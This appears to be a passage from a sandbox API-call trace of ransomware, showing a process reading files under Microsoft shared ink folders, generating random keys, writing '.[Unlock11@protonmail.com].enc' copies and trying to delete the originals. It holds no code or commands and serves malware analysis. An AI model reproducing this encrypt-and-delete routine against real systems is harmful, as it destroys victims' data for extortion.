HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.027] CloseHandle (hObject=0x3ac) returned 1 [0123.027] GetLastError () returned 0x0 [0123.027] GetCurrentThreadId () returned 0x9b0 [0123.027] GetLastError () returned 0x0 [0123.027] GetLastError () returned 0x0 [0123.027] CloseHandle (hObject=0x39c) returned 1 [0123.027] GetLastError () returned 0x0 [0123.027] GetCurrentThreadId () returned 0x9b0 [0123.027] GetLastError () returned 0x0 [0123.027] GetLastError () returned 0x0 [0123.028] GetLastError () returned 0x0 [0123.028] GetLastError () returned 0x0 [0123.028] GetLastError () returned 0x0 [0123.028] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0 [0123.028] GetLastError () returned 0x5 [0123.028] GetCurrentThreadId () returned 0x9b0 [0123.028] GetLastError () returned 0x5 [0123.028] GetLastError () returned 0x5 [0123.028] GetLastError () returned 0x5 [0123.028] GetLastError () returned 0x5 [0123.029] LocalFree (hMem=0x1053a70) returned 0x0 [0123.029] GetLastError () returned 0x5 [0123.029] GetLastError () returned 0x5 [0123.029] GetLastError () returned 0x5 [0123.029] GetLastError () returned 0x5 [0123.029] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", lpFilePart=0x9bada4*="zh-phonetic.xml") returned 0x55 [0123.029] GetCurrentThreadId () returned 0x9b0 [0123.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0123.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0123.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0123.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0123.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0123.030] GetCurrentThreadId () returned 0x9b0 [0123.030] GetLastError () returned 0x0 [0123.030] GetLastError () returned 0x0 [0123.030] GetLastError () returned 0x0 [0123.030] GetLastError () returned 0x0 [0123.030] GetCurrentThreadId () returned 0x9b0 [0123.030] GetLastError () returned 0x0 [0123.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0123.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0123.031] GetLastError () returned 0x0 [0123.031] GetLastError () returned 0x0 [0123.031] GetLastError () returned 0x0 [0123.031] GetLastError () returned 0x0 [0123.031] GetCurrentThreadId () returned 0x9b0 [0123.031] GetLastError () returned 0x0 [0123.031] GetLastError () returned 0x0 [0123.031] GetLastError () returned 0x0 [0123.031] GetLastError () returned 0x0 [0123.031] GetLastError () returned 0x0 [0123.031] GetCurrentThreadId () returned 0x9b0 [0123.032] GetLastError () returned 0x0 [0123.032] GetCurrentThreadId () returned 0x9b0 [0123.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0123.032] GetLastError () returned 0x0 [0123.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0123.032] GetLastError () returned 0x0 [0123.032] GetLastError () returned 0x0 [0123.032] GetLastError () returned 0x0 [0123.032] GetCurrentThreadId () returned 0x9b0 [0123.032] GetLastError () returned 0x0 [0123.032] GetLastError () returned 0x0 [0123.032] GetLastError () returned 0x0 [0123.033] GetLastError () returned 0x0 [0123.033] GetLastError () returned 0x0 [0123.033] GetCurrentThreadId () returned 0x9b0 [0123.033] GetLastError () returned 0x0 [0123.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0123.033] GetLastError () returned 0x0 [0123.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0123.033] GetLastError () returned 0x0 [0123.033] GetLastError () returned 0x0 [0123.033] GetLastError () returned 0x0 [0123.033] GetCurrentThreadId () returned 0x9b0 [0123.034] GetLastError () returned 0x0 [0123.034] GetLastError () returned 0x0 [0123.034] GetLastError () returned 0x0 [0123.034] GetLastError () returned 0x0 [0123.034] GetLastError () returned 0x0 [0123.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.034] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3)) returned 1 [0123.034] GetLastError () returned 0x0 [0123.034] GetCurrentThreadId () returned 0x9b0 [0123.034] GetLastError () returned 0x0 [0123.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0123.035] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366864c | out: pbBuffer=0x366864c) returned 1 [0123.035] GetCurrentThreadId () returned 0x9b0 [0123.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0123.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0123.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0123.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0123.035] GetLastError () returned 0x0 [0123.035] GetLastError () returned 0x0 [0123.035] GetLastError () returned 0x0 [0123.035] GetLastError () returned 0x0 [0123.036] GetCurrentThreadId () returned 0x9b0 [0123.036] GetLastError () returned 0x0 [0123.036] GetCurrentThreadId () returned 0x9b0 [0123.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0123.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0123.036] GetLastError () returned 0x0 [0123.036] GetLastError () returned 0x0 [0123.036] GetLastError () returned 0x0 [0123.036] GetLastError () returned 0x0 [0123.036] GetCurrentThreadId () returned 0x9b0 [0123.036] GetLastError () returned 0x0 [0123.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead28 | out: hHeap=0x2ad0000) returned 1 [0123.037] GetCurrentThreadId () returned 0x9b0 [0123.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cb8 [0123.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a51d8 | out: hHeap=0x2ad0000) returned 1 [0123.037] GetLastError () returned 0x0 [0123.037] GetLastError () returned 0x0 [0123.037] GetLastError () returned 0x0 [0123.037] GetLastError () returned 0x0 [0123.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f69e8 [0123.037] GetLastError () returned 0x0 [0123.037] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.038] GetFileType (hFile=0x39c) returned 0x1 [0123.038] GetLastError () returned 0x0 [0123.038] GetCurrentThreadId () returned 0x9b0 [0123.038] GetLastError () returned 0x0 [0123.038] GetFileType (hFile=0x39c) returned 0x1 [0123.038] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.038] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.038] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.039] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.039] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.039] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.039] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.039] GetLastError () returned 0x0 [0123.039] GetCurrentThreadId () returned 0x9b0 [0123.039] GetLastError () returned 0x0 [0123.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69e8 | out: hHeap=0x2ad0000) returned 1 [0123.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0123.039] GetLastError () returned 0x0 [0123.039] GetLastError () returned 0x0 [0123.039] GetLastError () returned 0x0 [0123.039] GetLastError () returned 0x0 [0123.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ac8 [0123.040] GetLastError () returned 0x0 [0123.040] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.040] GetFileType (hFile=0x3ac) returned 0x1 [0123.040] GetLastError () returned 0x0 [0123.040] GetCurrentThreadId () returned 0x9b0 [0123.041] GetLastError () returned 0x0 [0123.041] GetFileType (hFile=0x3ac) returned 0x1 [0123.041] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.041] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.041] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.041] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.041] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.041] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.041] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.041] GetLastError () returned 0x0 [0123.041] GetCurrentThreadId () returned 0x9b0 [0123.041] GetLastError () returned 0x0 [0123.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ac8 | out: hHeap=0x2ad0000) returned 1 [0123.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bbe90 | out: hHeap=0x2ad0000) returned 1 [0123.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0123.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.042] GetLastError () returned 0x0 [0123.042] GetLastError () returned 0x0 [0123.042] GetCurrentThreadId () returned 0x9b0 [0123.042] GetLastError () returned 0x0 [0123.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.042] GetLastError () returned 0x0 [0123.042] GetLastError () returned 0x0 [0123.042] GetCurrentThreadId () returned 0x9b0 [0123.043] GetLastError () returned 0x0 [0123.043] GetLastError () returned 0x0 [0123.044] GetCurrentThreadId () returned 0x9b0 [0123.044] GetCurrentThreadId () returned 0x9b0 [0123.044] GetCurrentThreadId () returned 0x9b0 [0123.045] GetCurrentThreadId () returned 0x9b0 [0123.045] GetCurrentThreadId () returned 0x9b0 [0123.046] CloseHandle (hObject=0x3ac) returned 1 [0123.046] GetCurrentThreadId () returned 0x9b0 [0123.046] CloseHandle (hObject=0x39c) returned 1 [0123.046] GetCurrentThreadId () returned 0x9b0 [0123.046] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0 [0123.047] GetCurrentThreadId () returned 0x9b0 [0123.047] GetCurrentThreadId () returned 0x9b0 [0123.047] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7750 [0123.047] GetCurrentThreadId () returned 0x9b0 [0123.047] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.047] GetCurrentThreadId () returned 0x9b0 [0123.047] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="oskclearuibase.xml", cAlternateFileName="")) returned 1 [0123.047] GetCurrentThreadId () returned 0x9b0 [0123.048] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="oskclearuibase.xml", cAlternateFileName="")) returned 0 [0123.048] GetCurrentThreadId () returned 0x9b0 [0123.048] FindClose (in: hFindFile=0x10f7750 | out: hFindFile=0x10f7750) returned 1 [0123.048] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0123.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0123.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0123.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0123.048] GetCurrentThreadId () returned 0x9b0 [0123.049] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml", lpFilePart=0x9bada4*="oskclearuibase.xml") returned 0x5e [0123.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0123.049] GetCurrentThreadId () returned 0x9b0 [0123.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0123.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0123.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0123.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea968 [0123.049] GetCurrentThreadId () returned 0x9b0 [0123.049] GetCurrentThreadId () returned 0x9b0 [0123.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea968 | out: hHeap=0x2ad0000) returned 1 [0123.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaad0 [0123.050] GetCurrentThreadId () returned 0x9b0 [0123.050] GetCurrentThreadId () returned 0x9b0 [0123.050] GetCurrentThreadId () returned 0x9b0 [0123.050] GetCurrentThreadId () returned 0x9b0 [0123.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a828 [0123.050] GetCurrentThreadId () returned 0x9b0 [0123.050] GetCurrentThreadId () returned 0x9b0 [0123.050] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0123.050] GetCurrentThreadId () returned 0x9b0 [0123.051] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36682dc | out: pbBuffer=0x36682dc) returned 1 [0123.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0123.051] GetCurrentThreadId () returned 0x9b0 [0123.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0123.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0123.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0123.051] GetCurrentThreadId () returned 0x9b0 [0123.051] GetCurrentThreadId () returned 0x9b0 [0123.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9b8 [0123.051] GetCurrentThreadId () returned 0x9b0 [0123.051] GetCurrentThreadId () returned 0x9b0 [0123.052] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.052] GetFileType (hFile=0x39c) returned 0x1 [0123.052] GetCurrentThreadId () returned 0x9b0 [0123.052] GetFileType (hFile=0x39c) returned 0x1 [0123.052] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.052] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.052] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.052] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.052] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.053] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.053] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.053] GetLastError () returned 0x0 [0123.053] GetCurrentThreadId () returned 0x9b0 [0123.053] GetLastError () returned 0x0 [0123.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bb8 | out: hHeap=0x2ad0000) returned 1 [0123.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de750 | out: hHeap=0x2ad0000) returned 1 [0123.053] GetLastError () returned 0x0 [0123.053] GetLastError () returned 0x0 [0123.053] GetLastError () returned 0x0 [0123.053] GetLastError () returned 0x0 [0123.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0123.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a28 [0123.054] GetLastError () returned 0x0 [0123.054] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.055] GetFileType (hFile=0x3ac) returned 0x1 [0123.055] GetLastError () returned 0x0 [0123.055] GetCurrentThreadId () returned 0x9b0 [0123.055] GetLastError () returned 0x0 [0123.055] GetFileType (hFile=0x3ac) returned 0x1 [0123.055] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.055] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.055] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.055] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.055] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.055] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.056] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.056] GetLastError () returned 0x0 [0123.056] GetCurrentThreadId () returned 0x9b0 [0123.056] GetLastError () returned 0x0 [0123.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a28 | out: hHeap=0x2ad0000) returned 1 [0123.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e89e8 | out: hHeap=0x2ad0000) returned 1 [0123.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0123.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0123.056] GetLastError () returned 0x0 [0123.056] GetLastError () returned 0x0 [0123.056] GetCurrentThreadId () returned 0x9b0 [0123.057] GetLastError () returned 0x0 [0123.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.057] GetLastError () returned 0x0 [0123.057] GetLastError () returned 0x0 [0123.057] GetCurrentThreadId () returned 0x9b0 [0123.057] GetLastError () returned 0x0 [0123.057] GetLastError () returned 0x0 [0123.059] GetLastError () returned 0x0 [0123.059] GetCurrentThreadId () returned 0x9b0 [0123.059] GetLastError () returned 0x0 [0123.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0123.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x308) returned 0x33f3a78 [0123.059] GetCurrentThreadId () returned 0x9b0 [0123.059] GetLastError () returned 0x0 [0123.059] GetLastError () returned 0x0 [0123.059] GetLastError () returned 0x0 [0123.059] GetLastError () returned 0x0 [0123.060] GetCurrentThreadId () returned 0x9b0 [0123.060] GetLastError () returned 0x0 [0123.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3a78 | out: hHeap=0x2ad0000) returned 1 [0123.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.060] GetLastError () returned 0x0 [0123.060] GetLastError () returned 0x0 [0123.060] GetCurrentThreadId () returned 0x9b0 [0123.060] GetLastError () returned 0x0 [0123.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265248 | out: hHeap=0x2ad0000) returned 1 [0123.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8858 [0123.061] GetLastError () returned 0x0 [0123.061] GetLastError () returned 0x0 [0123.061] GetCurrentThreadId () returned 0x9b0 [0123.061] GetLastError () returned 0x0 [0123.061] HeapFree (in: hHeap=0x2ad0000, 